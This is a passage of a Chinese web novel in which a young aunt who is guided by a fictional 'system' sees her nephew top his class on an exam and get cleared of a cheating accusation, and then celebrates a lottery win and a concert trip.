明明052可以直接在陆季燃答完题那个瞬间就告诉她正确率与分数，偏偏052不让，甚至在她提出用成就点交换时，052也大公无私，拒绝她的提议。 简直不像之前那个小财迷啊。 裴珩接过她一直紧紧攥在手里的黑伞，一边将伞收起，非常有耐心地把伞的每个折痕都对回原位，一边同她说：“也可能是还在考试状态里，没出来。” 池又青不确定：“真的？” 裴珩把归整完毕的伞又递还给她，一针见血地说：“你好像把陆季燃的成绩看得太重，有点不像你。” 池又青心里突地一跳，干笑两声：“说什么呢裴老师，我是他小姨，重视他成绩是我应该做的。再说啦，你又了解我多少？” 她跟裴珩的关系，只是互帮互助的邻居而已。 裴珩根本不知道她以前是什么样的。 池又青有点太焦虑，摆摆手，没心思跟裴珩聊下去，回自己屋里了。 这种焦虑持续到第二天陆季燃考完。 池又青百般耍赖：【052，考都考完了，你就跟我说说成绩吧？】 052非常坚定：【不行。】 池又青想哭：【现在这样跟凌迟我有什么区别？】 她的心里就像是有蚂蚁在爬，有猫爪在挠，又痒又燥，烦得受不了。 052有点心软，说：【抱歉啊宿主，这个我真没办法。你再等等，九中出成绩很快的，两天后就出来了。我跟你保证，到时候只要学校那边出成绩，我立刻给你汇报。】 池又青宛若一具尸体，躺在地毯上，看着天花板，任由死意蔓延。 接下来这两天，她度日如年。 陆季燃也没好到哪去。 他不傻，看得出来，池又青这两天在为他的成绩担心。他自己也担心，紧张到出现生理反应，胸口下的心脏跳得极快，晚上失眠，脑子里总是在想，他没做出来的数学题，顺耳听到的同学们讲过的答案。 陆季燃太久没有这种感觉了。 他甚至觉得，在遇到池又青之前，他几乎从没体验过这种感觉。 有多久了呢？考试的时候不再是坐上去就埋头呼呼大睡，而是认真地看着试卷，体会到做出题目的快乐，也感受到想不出答案的紧张。 肾上腺素每一分每一秒都拉满，时间第一次如此清晰地被他体验。 有点折磨人，陆季燃承认。他面对考试，没那么游刃有余。但同样的，他也必须承认，认认真真考完这两天，他竟然觉得比之前趴着睡觉还要痛快。 很多题都没那么上手，可是也有很多题，他二十来天前还根本不会，现在却一眼看过去就能得到答案。 这个知识点他看过，这道题他练过，这个短语他记过，这个论述他也背过…… 不合时宜的，脑子里会飘过三个大字—— 学会了。 一想到自己之前看着课本和题目就像在看天书，什么都不懂，现在却能与它们相熟。 草。 好痛苦的过程，好爽快的感觉。 他的大脑这两天时刻都在做仰卧起坐运动，一会感慨自己可能真的有点天分，这次考得不会太差，一会又想，也不排除自己过于乐观，认知不清，其实很多题都做错了呢。 他不敢跟池又青分享这些，怕让本就焦虑的她也跟着焦虑，又怕给她空欢喜，后面真的出成绩，叫她失落加倍。 出成绩那天，陆季燃整个人都有点燥。 刘钊看出来，故意在他面前彰显存在感，还说：“陆哥，这样吧，要是你这次实在是考得太差，那个赌约，我也还能通融通融。只要你从此认我当老大，之前的事我就能考虑既往不咎。” 陆季燃抿紧唇，懒得搭腔。 白盛飞和袁源心里直打鼓，他们自己考得如何心里清楚，左右都是走不出这个班的命，可是陆哥不一样啊。 最不学无术的三人组今天意外地反常，白盛飞更是时不时往办公室跑，问：“周老师，卷子批出来了吗？” 周正然跟见鬼一样，吓一跳后，又说：“还有一科没结束。中午。中午统计完就出总分和排名。” 白盛飞扒着门口不肯走，说：“有没有什么办法能快点嘛？” 周正然哭笑不得，把他赶走：“行了行了，别在这晃，影响老师阅卷。” “谁啊？”正在批改试卷的老师从电脑面前偏头问。 周正然坐下来：“我们班一臭小子。” 那老师哈哈笑：“奇迹啊，没想到有天能看到你们班的学生来催成绩。” 周正然自己也纳闷呢：“不知道这群臭小子发什么疯。” 他取下眼镜，拿起眼药水，往自己干涩的眼睛里滴了两滴，缓了会，继续加入阅卷大军。 临近中午，忙着改卷的老师都没去吃饭，拖同事带过来。已经完成阅卷的科目正在云系统里统计分数，做数据集合。 由于最后一门的成绩没出来，排名还没确定，只是根据已出的分数自动列了表。 负责盯着这件事的老师不知道看什么，忽然乐了，跟办公室里的大伙说：“这回的倒一进步了，还没加最后一科呢，总分也超过100了，估摸着就算剩下那一科是猜，也能猜个二三十分吧。” “陆季燃吧？”另外一个老师笑着说，“我都听我们班学生说了，讲这段时间他都在操场早读跑步，估计还是有些用处。” 周正然也知道这件事，却一直没往心里去。 “不知道这小子又在搞什么。”他说，“他要是能进步，我可就敲 锣打鼓了。” 过了会，所有的成绩都已经出来。 老师们都围着电脑，等待系统自动生成两大类的排名。 忽然，有人指着电脑：“你们快看，这最后一名——” “陆季燃呢？！”周正然想不通，他脑子有点发晕，转头问身边的同事，“他这两天参加考试了吧？我没记错吧？” “没有。”同事说，“参加了，而且我监考的时候发现，他还一直在写题呢。” 周正然瞪圆眼：“那他的分呢？！” 怎么鼠标一下拉到最下面，也没找到这人啊？ 扒拉半天，周正然干脆用搜索。 一搜，整个办公室都陷入诡异的安静之中。 “我、我没眼花吧？”周正然撑着桌子，显然有点站不稳了，“刘老师，刘老师，这系统真没出错吗？” 刘老师嘴巴微张，喃喃道：“应该没有吧。” 说是这么说，他还是上手检查起来。 全办公室的脑袋都凑过来。 平日里在学生面前或威严或温柔的老师们，此刻脸上都写满了显而易见的好奇和八卦。 刘老师折腾半天，最终给出一个确定的答案：“没出错没出错！如果分数没出问题的话，那么总分和排名也没出问题！” 周正然人有点懵。 他盯着那一排成绩，目光从每一科扫过，又看到最后的总分。 我勒个乖乖。 周正然自从接手现在这个差班以后，在周围人的劝说下，也开始摆烂。他们班的学生，各个哄着不走赶着倒退，心思全都不在读书上。 未曾想—— 周正然哑然半天，真有点以为自己在做梦呢。 第32章 第32章我还有件事，想请裴老师帮忙…… “出来了出来了！”有人吆喝着这句话跑进教室，头发都跑得毛躁躁的，冲上讲台，两手撑着台面，气喘吁吁地说，“成绩出来了！” 一听这话，本来散漫无比的教室氛围立刻热闹起来，底下的同学都七嘴八舌地询问着。 “怎么样怎么样？” “排名呢？” 今日不同往日，因着有陆季燃和刘钊的赌约在前，十八班的同学们都齐齐关注起成绩来。 “还在老周那。”跑过来通风报信的同学讲。 底下的同学切了一声：“那你跑回来干嘛！” 通风报信的同学连喘好几口气，说：“因为、因为我刚刚听说，这次，我们班第一的分数比之前都高。” “卧槽，真的假的？”白盛飞吓一跳，赶紧十分担心地去看陆季燃，瞧见他面色有些沉，显然也是不够自信。 不会吧？！ 白盛飞心脏突突直跳，又去瞄刘钊，这家伙果然很得意，已经不遮掩自己的情绪，一副一切都在他预料之中的模样。 “陆哥。”白盛飞小声地说，“咋办啊陆哥。” 陆季燃心里也烦，脑子里有两个小人在打架。 一个说他确实做得不错，也感觉好些题真的会，起码没有以前那种一问三不知只能交白卷的feel。 一个又在说，陆季燃，做人不要自我感觉太良好，你什么水平能不能有点b数，真把自己当天才，学二十来天就能造火箭？ 接着，另外一个人会立刻说：但你就是被选中了呀，你到现在睡觉脑子里都还是数学题，闭上眼就是在学习，你进步一点怎么了？ 他努力把心里的声音压下去，对着白盛飞说：“慌什么？还没出结果呢。” 白盛飞心想哥你真是能扛。 你该不会以为你能考过班级第一吧？ 虽然陆季燃是白盛飞兄弟，很亲的那种兄弟，亲到白盛飞都愿意把自己的裤衩借给陆季燃穿。 但，理智告诉白盛飞，陆季燃要考过刘钊，是个小概率事件。在白盛飞的心里，这种事发生的可能就跟他忽然打入电竞联盟一样。 都是0.000001%的几率。 他叹口气，伸手拍拍陆季燃的肩膀，眼看老周进教室，慢悠悠地走到自己的位置上，又跟坐他同桌的袁源说：“老袁，咱想个办法，不能真叫陆哥走啊。” 袁源心里也打鼓：“什、什么办法。” 白盛飞抠抠脑袋：“不知道，再琢磨琢磨？” 周正然站在讲台上，对台下的吵闹习以为常。他拿出黑板擦，用力敲下讲台，以声音吸引来各位同学的注意力后，说：“都安静点啊，我刚刚都看见了，有人跑进来汇报情况了是不是？对，我手里就是这次期中考的成绩。” 周正然晃晃A4纸：“我知道你们有些人根本不在乎，但——” 话没说完，就被台下的同学打断。 好几个人都在吼：“在乎！在乎！周老师！我们在乎！” 周正然好笑地看着他们：“今儿什么日子啊？怎么你们一个个的都这么反常？” 性子急的已经开始催：“周老师，你快说说，咱们班考得怎么样？” 周正然点评道：“一如既往，平均分全年级倒数，恭喜你们，再次守住了王座。” 底下的同学被他这话逗笑。 周正然朝着刘钊招手，又对着台下的同学说：“我还是按照惯例，把排名表放在学习委员这，你们要是有感兴趣的，就自己过去看。” 刘钊接过周正然递来的成绩单。 他第一反应就是去看最后一名。 不是陆季燃…… 刘钊又顺着往上看。 还没看到陆季燃。 刘钊的心里冒出一个诡异的猜测，他心想不可能吧，抬眼，看向排名的第一位。 台下紧紧关注着他反应的同学都瞧出他的不对。 “周老师，这不可能！”刘钊想也没想就说，“这成绩有问题！” 白盛飞从周正然拿着成绩单走进来那一秒就已经坐不住了，屁股上跟有钉子一样。现在听到刘钊说这种话，赶紧从自己的椅子上蹿出去，一把扯过刘钊手里的排名表，眼珠子一下就扫到他兄弟的名字。 “我去——！”白盛飞发自内心地爆发出一声不敢置信的喊叫，“陆哥！？你是第一！？！” 陆季燃触电一样，猛然一下抬头，看向白盛飞。 白盛飞晃着手里的纸张，快速跑到他身边，递给他看：“真的！你是第一！！” 全班的目光都粘过来。 陆季燃有点恍惚，没什么实感，眼睛扫过自己的成绩，和以前要么个位数要么白卷要么十开头的成绩比较起来，现在的分数，简直是一个天一个地。 周正然站在讲台上说：“对，忘了说，这次期中考，我要特别点名表扬一下我们的陆季燃同学。他在这次的考试中取得了巨大的进步，也挽救了我们班的平均分，虽然我们班还是没比过隔壁十七班，但两个班的分差已经缩小到个位数！” 此起彼伏的祝贺和尖叫响起，熟或者不熟的人都在喊陆哥牛逼！ 动静太大，以至于其他班都听见，茫然地交换目光，不知道的，还以为十八班是出了状元。 不管别的班怎么想，十八班的人现在可激动了。 说来也奇怪。 平日里各个都不学，看起来没什么兴趣。一旦班上出了个逆袭的人才，他们的反应比陆季燃本人还大！ 整个班级都呈现出一种喜气洋洋的热闹氛围。 “陆哥，你这是突然开窍了吗？卧槽，总分居然多了快两百分？” “陆哥，老实交代，你以前是不是就跟电视剧里的男主一样，都在藏……藏……我靠，藏什么来着？？” “藏拙！这叫一鸣惊人不鸣则己！蠢不蠢啊你！” “好家伙，陆哥，原来你是这种人啊？上课睡觉假装在玩回家却偷偷努力是 吧？” “陆哥陆哥，怎么学的啊，能不能教教我！” 白盛飞清清嗓子，做作地对着众人说：“都冷静冷静啊，要采访咱陆哥的话，先排队，先排队。” 他俨然一副陆季燃代言人的模样。 就连周正然都被氛围感染，也被逗笑。 唯有刘钊所在的地方，是一片低沉的气压。 “不可能！”他近乎尖叫，“陆季燃这个蠢货，怎么可能考得比我还好？！” 周正然眉头一皱：“刘钊，注意你的言辞。” 刘钊想到什么，上前，抓住周正然的衣服：“周老师，我知道了，我知道了！” 他喃喃地说：“陆季燃一定是作弊了。” 这个念头一旦出现，就在刘钊的脑海里疯狂扎根。他像是抓住最后一根救命稻草一样，反复强调：“对！周老师！陆季燃他一定是作弊了！” 周正然的表情有些难看，声压低下来，喊：“刘钊！” 刘钊已经有点疯魔了，他指着陆季燃的方向，也看着陆季燃，双眼恶狠狠地说：“不然他怎么可能进步这么快？他每天上课都在睡觉！还戴着耳机！周老师你难道没看见吗！” 周正然有些头疼。 的确，陆季燃成绩出来以后，也有别的班的老师，明里暗里来跟周正然说过这件事。 但周正然看过陆季燃的卷子，这绝不是一个作弊的人能拥有的卷子。 卷面潦草得跟被狗啃过一样，看得出来做题的人在写题目的时候有多较绞尽脑汁，几乎所有的痕迹都留在题卷上，就连答题卡上也有涂改。 他总是在一般人不会错的地方错。当然，一般人不会对的地方也没对几个。 要是作弊，何至于此？ 更何况，又有什么作弊途径呢？陆季燃没道理提前得知答案。 最重要的是，他要是真的都作弊了，那也得奔着个更高的分数去啊，现在这在鸡窝当头，凤尾都称不上的程度，有必要作弊吗？ 周正然是相信陆季燃的。 他看了眼刘钊，这小孩现在显然有点气昏头了。他对刘钊的看法有些复杂。 你说他努力吧，他的确是班上最认真的学生。 每当周正然看到班上的那群魔王在闹腾，而刘钊在乖乖地看着他的时候，他心里多少是有些慰藉的。 当和刘钊偶尔聊天对话的时候，周正然能够听得出来，他对比他成绩差的同学非常不屑。 可刘钊的成绩放在全年级上看，也是半桶水响叮当，根本不够格。 “刘钊，你跟我出来下。”周正然对着他说。 在办公室里，周正然跟刘钊解释，刘钊闹着要看监控，一口咬死陆季燃就是作弊。 周正然劝他，事情不是他想得那样。 刘钊比他想得还要执着，居然联系自己的妈妈，说老师包庇同学。 哈哈。 周正然有点想死。 今天这个班要不就上到这里吧？他要去跳楼了。 他不是园丁，他是祖国的化肥，每天路过教室都被食人花咬一口的程度。 眼看刘钊妈妈就要赶过来，周正然没辙，只好联系池又青。 跟池又青开口说话的时候，周正然都有点惭愧。为自己之前的刻板印象和偷偷的心理活动而羞耻。 没想到陆季燃这个小姨，看起来不着四六的，提高学习竟然这么有办法？ 电话接通的那一瞬，周正然的语气是尊敬的：“池小姐。” 池又青不喜欢接电话，但她今天从052那得知任务完成的好消息，心情不错，瞧见陌生来电，难得接通。 一听声音觉得有点耳熟，等周正然说明来电缘由，池又青就笑了。 “周老师，谢谢，我马上就到。” 这个刘什么钊的，真是太岁头上动土，娇花顶上投粪。 非要让她在最高兴的时候生这点气吗？ 池又青一拢头发，扎上马尾就利落出门。 她到得太快，以至于周正然见到她的时候都有点懵圈。 白盛飞热情地朝着她打招呼，大喊小姨。袁源在旁有些羞赧，却还是微微摆手，红扑扑的脸蛋看起来十分喜庆。 陆季燃表情有点臭，就跟当初池又青第一次见他一样，靠在墙边。 不同的是，少年的头发柔顺许多，脸上和其他裸露出来的皮肤上也没有乱七八糟的伤痕，瞧见她的时候，也不再是初见时的冷淡和戒备。 “怎么还把你叫来了。”陆季燃非常不高兴，“就这点小事，还让你跑一趟。” 池又青伸手掐他的脸蛋：“你被污蔑了，这算小事？” “我又没抄，我心里有数。”陆季燃脸颊边的肉被她拉扯得奇形怪状，说话的时候声音嘟囔，混杂在一块，模糊不清。他抬手把池又青手腕推下去，搓了搓自己刚刚被捏住的地方，活动好腮帮，继续说，“他们要查就查，反正我没抄。” 陆季燃这话说得没错。 就算是刘钊妈妈赶来，在自己儿子强烈的要求下，没辙，请老师帮忙调取监控。六门考试，接近七八个小时的数据，教务处全都拿过来。 刘钊就跟屁股被黏住一样，往电脑前坐，眼睛死死盯着屏幕。 池又青瞧他那架势，只怕是想钻进去。 陆季燃嘲讽地说：“刘钊，有意思吗？没考过就没考过，承认这件事很难吗？” 刘钊的脸青红交接，他的眼睛一刻也不肯离开屏幕，只是不断地自语：“不可能，这不可能。” 这孩子都快整疯魔了。 就连刘钊妈妈都有点尴尬，一边同陆季燃和池又青赔笑，一边对刘钊温柔地说：“小钊啊，没关系的，咱们这次要是没考好，下次再考就行。” 刘钊啪地打掉她的手，双眼发红着：“你懂什么！我才是第一！” 池又青在旁小声地问周正然：“他以前成绩很好？” 周正然没说话，只是把放在一旁的成绩单往池又青的方向挪了挪。 池又青瞄了眼，乐了。 这架势，不知道的还以为是清北争霸呢。 搞半天，两个人的分加起来都还没别人的总分高。 池又青拍拍陆季燃，示意这件事让他自己解决。 陆季燃抿了抿唇，转头对周正然说：“周老师，您这有别的卷子吗？我和刘钊再考一次。” 眼珠子都快贴在屏幕上的刘钊听到这话，回过头，看着陆季燃。 这个一贯擅长用拳脚解决问题的少年，脸上是少见的沉静。 刘钊忽然觉得，陆季燃好像有些不同了。 池又青也有此感觉。 她站在一旁，看着陆季燃跟周正然沟通，心里有些恍惚，继而，便是涌起一股温沉的感慨。 后知后觉地发现，少年的长大，或许只是在一瞬之间。 刘钊最终还是灰溜溜地被妈妈带走，在陆季燃提出的二次考试里，他亲自选的卷子，挑的自己最擅长的英语，就算如此，也没陆季燃的正确率高。 刘钊终于无比清楚地意识到。 他输了。 中午这么一闹，他根本没脸继续在教室里待下去，喊着要回家。 瞧着他离开的身影，池又青揉了揉陆季燃的脑袋。 陆季燃别扭地往旁一躲，下意识看向周围：“喂，很多人呢。” 池又青扬起嘴角：“那有什么关系？” 她转头朝着好奇八卦围观的同学，笑着说：“大家好，我是陆季燃的小姨啊，不是后妈，不是女朋友，也不是花钱请的。” 陆季燃耳根滚烫，连忙拽着池又青往旁走：“你干嘛！” 池又青哈哈笑起来：“做个自我介绍？免得下次再有人误会。” 她瞧着眼前的少年：“做的不错啊小燃子啊，我都知道了，这次考得不错。” 陆季燃没那么高兴，跟池又青想象里可能会出现的吊炸天模样不同，他眉头微皱，踢开面前的小石子，低着头说：“也才这点分呢。” 池又青一把捞住他的肩颈，把他身子往下带，抬手用力揉他的脑袋：“已经很好啦！没听过那句话吗？从0到1才是最难的。你已 经很棒，迈出了第一步。” “见过小弹珠机关轨道吗？”池又青找出一个视频，凑到陆季燃的面前给他看，“发现了吗？最关键的一步是什么。” 陆季燃看着眼前这儿童益智小玩具视频，抿嘴半天，说：“搭建正确的轨道？” “错。”池又青指了指暂停的视频里一直停留在出发点的钢铁小弹珠，“最关键的是，是让它出发。” 她继续播放视频。 小弹珠被轻轻一拨，从立体的玩具设施上往下滑落。 “那叫什么来着？力的惯性。对，惯性。你要相信人的大脑也有惯性。当你已经拥有出发的动能，这一路，或许会缓慢，或许会卡顿，但都没关系的。” “陆季燃，你已经在路上了。” 陆季燃没吭声，过了半天，故意地提醒着：“池又青，我赢了。” 池又青点点头：“嗯嗯，我刚刚都看到了。” 陆季燃抬头有点急地看着她：“我说的不是这个。” 他强调：“我们打过赌，你忘了吗？” 池又青扬起嘴角，抬手在陆季燃的脑袋上敲了下：“我有那么笨？没忘，都记着。” “那你——”陆季燃犹豫着开口。 “我有我的节奏。”池又青拍拍他的肩膀，“别操心啦。” 她余光瞄到一直站在一旁好奇的白盛飞和袁源，笑着冲俩人招手，见两小只屁颠屁颠跑过来，说：“今天陆季燃发挥不错，我给他资金，你们晚上出去好好吃一顿？” 白盛飞还没说话呢，袁源的眼珠子就黑亮黑亮地闪起来，跟那忽然一下通电的小机器人一样，激动地说：“好啊好啊，谢谢小姨。” 白盛飞无语，抬脚踹他。 陆季燃只关注一个重点。 “我们出去吃？”他看向池又青，问，“你不去吗？” “你们小孩一起玩，我去就没意思了吧。”池又青拿起手机给他转了钱，“玩可以，别在外面过夜，早点回。我先走啦。” 白盛飞和袁源跟古时候那太皇太后身边的太监一样，两人夹道相送，就差没抬起自己的小臂给池又青充当扶手了。 池又青被他俩这戏精逗乐，挥挥手说：“赶紧回教室，别跟着我。” 白盛飞：“喳！” 瞧着池又青的身影越来越远，白盛飞跑到陆季燃的身边，凑到他的肩膀旁往他打开的手机上一看。 “卧槽。”嫉妒使他有些发狂，“咱小姨是真有实力啊！两千？！抵我一个月的生活费了！” 袁源一听这数字，赶忙也凑过来，激动得说话都不打结了，问：“陆哥陆哥咱们吃什么！” 他掰着自己圆圆的手指计划着：“城南那家粤菜不错，西、西面的融合菜也不错……” 陆季燃把手机揣进兜里，看着他俩，露出一个微笑：“放心，我有计划。” 白盛飞：“什么计划？” 陆季燃：“王哥，刘哥，赵哥，选一个吧。” 白盛飞：“…………” 他有点崩溃：“又吃串啊？” 陆哥你这么抠门你家美丽大方绝绝子的小姨真的知道吗？ * 【这么多？】池又青很少有这种觉得自己没见过世面的时候，【这次的任务奖励出bug了？】 052解释：【并没有，因为宿主你超额完成任务，系统自动补算了特别奖励。】 【而且你这次解决郭允，也被系统判断成改造成功，让他吃了个大教训，为阻止他后面成为社会毒瘤做出了巨大的贡献。】 【这样啊。】池又青瞧着直奔五万去的余额，毫不犹豫再次选择兑换母亲的健康点数。 按照这个速度，只怕是不用等一年后，她再完成几个任务，就可以彻底解脱，跟系统saybye。 【不过，这是什么东西？】池又青指着系统界面里的奖励提示，挨着念道，【颜值＋5，智慧＋5，体能＋5，气运＋5……《数学其实很简单》……？《考试时间利用手册》……？】 【前几个我能理解，后面两个干嘛的？给我有什么用？我能给陆季燃吗？】 052：【不能，右下角有个已绑定的道具就是不能给他人使用的。】 池又青仔细瞧，哦豁，确实。 她想不通：【给我这玩意儿做什么？】 她需要吗！ 真正需要的人不是陆季燃吗！ 052心虚地说：【因为这个系统原本是绑定给男主的……】 池又青：【……】 她的心底忽然生出一种不妙的预感：【你别告诉我，你们这个系统的最终改造目标，是要让陆季燃成为学神，考上清北直当状元的那种。】 隔壁小日子拍的那叫《垫底辣妹》，你们整上《垫底辣驴》了是吧？ 一个小小的期中考已经快把她折磨得生不如此，真要上清北，没等陆季燃考完试，她就先撒手人寰了。 池又青绝望地想着。 052轻咳一声：【当然不会！我们是有人性的系统！只是因为事发突然，奖励库来不及更换申请……】 池又青瘫在沙发上：【太人性化了吧，我还以为你们都是AI呢。】 052：【不是呀，宿主，虽然我们的表现形态是数据，但我们都是被选择后进入主神空间的，有自己的灵魂实体。】 池又青好奇：【那你来自哪个世界？以前是做什么的？】 052沉默许久，回答：【不知道，我没有这份记忆。】 池又青在虚拟意识海里戳了戳052的脸蛋：【那就好好珍惜现在吧，因为现在的每一天，都会是新的记忆。】 秉持着送都送了，不花白不花的理念，池又青把系统赠送的两本乱七八糟的道具书都使用了。 052问：【怎么样？使用后有什么特别的感受吗？】 池又青摇摇头。 【跟以前也没什么区别啊。】 什么记忆宫殿，什么过目不忘，没感觉到啊！ 池又青想到什么，马上起身，嗒嗒嗒跑进卧室，在自己高清晰的化妆镜前反复端详。镜中人眼珠明亮，鼻尖挺翘，整张脸还是和之前一样，五官都没什么变化。 皮肤是细腻多了，嫩得跟刚剥壳的鸡蛋一样，除此之外，没区别啊。 池又青立刻把这件事抛在脑后。 她睡了个午觉，醒后就去觅食。路过福利彩票店，没忍住，进去买了张刮刮卡。 本来想着就随手刮个乐子，结果老板告诉她，她刮出了三等奖。 两千块。 池又青有点不敢置信：“老板，真的吗？” 老板把新旧混杂的钞票点数两次，确认足额后，装进一个小信封里递给她。 “恭喜你啊小姑娘，运气真好。”老板说。 池又青拿着钱，走出去，失神好久，忽然尖叫一声。 【真有用啊！】池又青乐得直笑，【我居然中奖了？】 池又青兴奋得直接在群里狂发表情包。 在数十个尖叫表情包终于足以抒发她的心情后，她拍了张照。 《劳资蜀道（3）》 公主今天也不想带娃：[图片] 公主今天也不想带娃：@别读博会发疯@吃香喝辣还点鸭 公主今天也不想带娃：我中奖了！ 别读博会发疯：是再来一瓶还是路过有奖？ 别读博会发疯：这辈子都不会忘记池宝的战绩。 吃香喝辣还点鸭：哈哈哈！我知道你在说什么！ 吃香喝辣还点鸭：是不是上次我们一群人出去玩，Russell买了一整本让我们每个人都拿去刮，结果所有人至少都有五块保底，除了她。 别读博会发疯：没错。 池又青也记得这件事。 当时朋友还吐槽：“池宝你的运气不会在投胎的时候就用完了吧？” 池又青对此深以为然。 没想到啊—— 今儿她也是翻身农奴把歌唱了！ 公主今天也不想带娃：看看这是多少/酷/勾手指/邪笑 别读博会发疯：？ 吃香喝辣还点鸭：？ 别读博会发疯：我现在去投刊是不是能百发百中？ 吃香喝辣还点鸭：那我现在就要去递交秀场申请…… 池又青回了个猫猫嘚瑟的表情包，乐得走路都在蹦跶。明明银行卡里的余额不知道有多少个两千，但是她就是为了这两千高兴。 这哪是什么古早文男主改造系统啊？分明就是非洲人改造系统 。 池又青心情极好，导致晚上陆季燃跟白袁二人散伙回家，打包了烧烤给池又青，刚敲开她家的门，就见到她乐颠颠的表情。 陆季燃莫名有种毛骨悚然的感觉。 池又青指了指放在客厅里的两把吉他：“说好的，给你。” 陆季燃的心神全被这吉他占据，竟觉得有几分恍然，一切都不像真的。他走近，小心翼翼地围着吉他绕圈，上上下下地看，却又不好意思伸手触碰。 “真给我吗？”陆季燃不敢相信。 “废话。”池又青说，“你小姨我可不是那种说话不算话的大人啊。赶紧的，拿走，放我家实在占位置，都影响我练瑜伽了。” 陆季燃连忙把吉他抱起来，一次只托运一把走。来回两趟，却折腾得心甘情愿。 “对了，周末没事吧？”池又青问。 陆季燃嗯了声：“没事。” 池又青：“空出来，我带你去个地方。” 自家小姨做事一贯随心所欲又没有章法，陆季燃本能地有些害怕：“去哪？” 池又青格外神秘：“去了你就知道了。” 陆季燃见问不出来，噢了一声，站在池又青的面前，眼神飘忽。 池又青看出他的急切：“滚回楼上去吧，玩你的吉他，守着我做什么？” 陆季燃嘴上说：“我没那么想玩。” 但门一关，笃笃笃上楼的脚步声比见到骨头的狗跑得还快。 “嘴硬。”池又青点评。 她从猫眼里往外瞧，看了眼对面的大门，靠着门墙，拿出手机给邻居发消息。 youqing：在家吗？ 她那人美心善的好邻居没回消息。 池又青坐回地板上，继续开始画画。人体练了半天，余光瞄到手机屏幕亮起，某人发来消息。她起身，拿起一早准备的东西，敲上对面的门。 男人开门时正在单手用毛巾擦头发，发丝氤润，湿漉且细碎地搭在额前，失去了一贯的精心打理，反而透出几分随意的帅气。几滴水珠顺着高挺的鼻梁向下滑落，大敞的浴袍处，锁骨和喉结上也点缀着零星的湿意。 池又青光明正大地在裴珩身上打量而过，笑着说：“裴老师，胸肌练得不错啊。” 裴珩擦头发的动作一顿，眼底闪过一瞬无可奈何的笑意，又道：“池小姐，什么事？” “池小姐？” 池又青不得不把目光从男人格外对她胃口的肌肉上移开，轻咳一声，把手里一直端着的花盆晃了晃：“谢礼。” “夜皇后？”裴珩松开毛巾挂在脖子上，伸手接过，端详一眼，如是说。 池又青杏眼微睁：“这你也能看出来？” 花盆里除了土就是草，在池又青眼里，所有土和所有草都长得一模一样，真不知道裴珩怎么判断的。 不过既然裴珩已经猜出来，那她也没必要故作惊喜，说：“好像是叫夜皇后。我也不知道你喜欢什么品种啦，就让朋友帮忙选了盆。” “谢谢。”裴珩的咬字格外认真慎重，“我会好好照顾它的。池小姐，你很会挑礼物。” 他珍重地观察一番，把花盆放到身后的玄关上。 送礼物的人最喜欢看到的就是收礼物的人满意。池又青瞧见他的动作，嘴角轻扬：“还行吧就。” “周末我打算带陆季燃出去玩，裴老师要一块吗？”这也算是谢礼。池又青对自己说。毕竟裴珩每天看起来实在太像孤寡老人。 “我很想去，但有点遗憾，周末已经有安排了。”裴珩说。 池又青笑着：“那也没事，我就随口问问。” “不过……”池又青的眼神又游荡回裴珩的胸前，“我还有件事，想请裴老师帮忙。” 第33章 第33章大抵是因为我心怀不轨。 人美心善好邻居：[图片] 人美心善好邻居：池小姐，这样可以吗？ 池又青看着手机里邻居传来的图片，忍不住在心头感慨，菩萨，真是男菩萨。 youqing：/大拇指 就是不够骚。 这话她没好意思说。 毕竟已经麻烦裴珩帮忙做人体参考，白白牺牲自己的男色，她哪还敢再提要求？有就不错了。 “你在看什么？”陆季燃坐在她旁边，好奇地把脑袋凑过来。 池又青赶紧熄灭屏幕，只余下黑乎乎的屏幕上陆季燃一张不明所以的脸。 “没什么。”池又青面不改色地撒谎。虽然裴珩穿了衣服，整整齐齐，但对上陆季燃的目光，池又青不知为何就是有点心虚。也不知道在虚什么。 她同陆季燃说：“等会节目表演完你跟我去后台。” 池又青带陆季燃来省城听演唱会了。 时下最热门的摇滚乐队，一票难求，陆季燃都不知道池又青怎么搞到票的。而且还是整个体育馆里最好的位置。从表演开始到现在，陆季燃的屁股就没挨过板凳。激动得一直站着，随着音乐狂蹦。 时不时跟着台上的人一起嘶吼，热烈而青春。 池又青倒是显得淡定许多。 陆季燃以为她不喜欢这乐队呢，跟着她去了后台才发现，她不是不喜欢，她是太熟悉。 “Russell！”池又青跟主唱打招呼。 金发碧眼的帅哥听见她的声音眼睛立马就亮起来：“Freya！” 他快步走过来，一把将池又青抱住，又和她面颊相贴：“好久不见我的小甜心。” 陆季燃在旁边傻站着，看着两个人叽里呱啦地说话，但是他什么都听不懂。 琢磨半天才发现，池又青和这位金毛说的不是英语，而是法语。 他看着池又青十分熟稔地和对方相处，在心中再次感慨自己小姨的人脉圈，又见池又青忽然转头看向他，似乎在跟对方说什么。 陆季燃的后背下意识打直起来。 Russell走过来，也朝他发出拥抱申请。陆季燃觉得自己就像是一个杵着不动的稻草人，被飞过原野的鸟啄了下。 他用求助的目光看向池又青。 池又青拍拍他，对Russell说：“这小子交给你了，他也很喜欢吉他，这两天你可以带他多体验一下。” Russell拍着胸脯保证：“没问题。我的队友都很乐意带小孩。” 池又青警告：“只教吉他，别的不许。” Russell并指发誓：“噢我的宝贝，我保证。” 终于找到机会把小孩丢给别人的池又青满意地笑了。Russell邀请她一起小酌两杯，池又青应了。道别被丢给临时大神集训班的陆季燃，她跟着Russell一块离开。 颇有格调的酒吧里，池又青听着朋友分享这段时间的生活，有一搭没一搭吃着店里赠送的零食。余光忽然瞟到一个不该出现在这里的人。 裴珩口中的有安排，就是这样的安排吗？ 她瞧着他，也瞧着他身边站着的女生。两个人站得很紧，姿态算是亲密。 “Freya，你在看什么？”金毛好奇地询问。 池又青收回目光：“没什么。” 金毛：“嘿，你的表情可不是这么说的。” 池又青端起面前的精致调酒：“有吗？” 跟Russell叙旧半天，池又青又提起自己今天刮彩票中奖的事情。Russell脸上露出了不敢置信的表情，一如陈念两人在群里的反应一样。 “看来天要变了。”Russell说，“你看起来也比之前更漂亮。” “有吗？”池又青每天看自己看习惯了，真没察觉出有什么。 Russell点点头：“如果我喜欢女生，我一定会追求你。” 池又青：“我会拒绝你的。” Russell哈哈大笑：“真残忍，不过，你到底喜欢什么类型？” 池又青往沙发上一靠，瞄着酒杯里逐渐融化变小的冰球，说：“不知道。” 男人这种东西，远看有点意思，稍微玩玩也有意思，深入接触就会很没意思。只要一旦多聊上几句，就很难不暴露对方是个傻逼的事实。 Russell又问： “嘿，那你那个娃娃亲对象呢？” 池又青白他一眼：“哪壶不开提哪壶啊。” 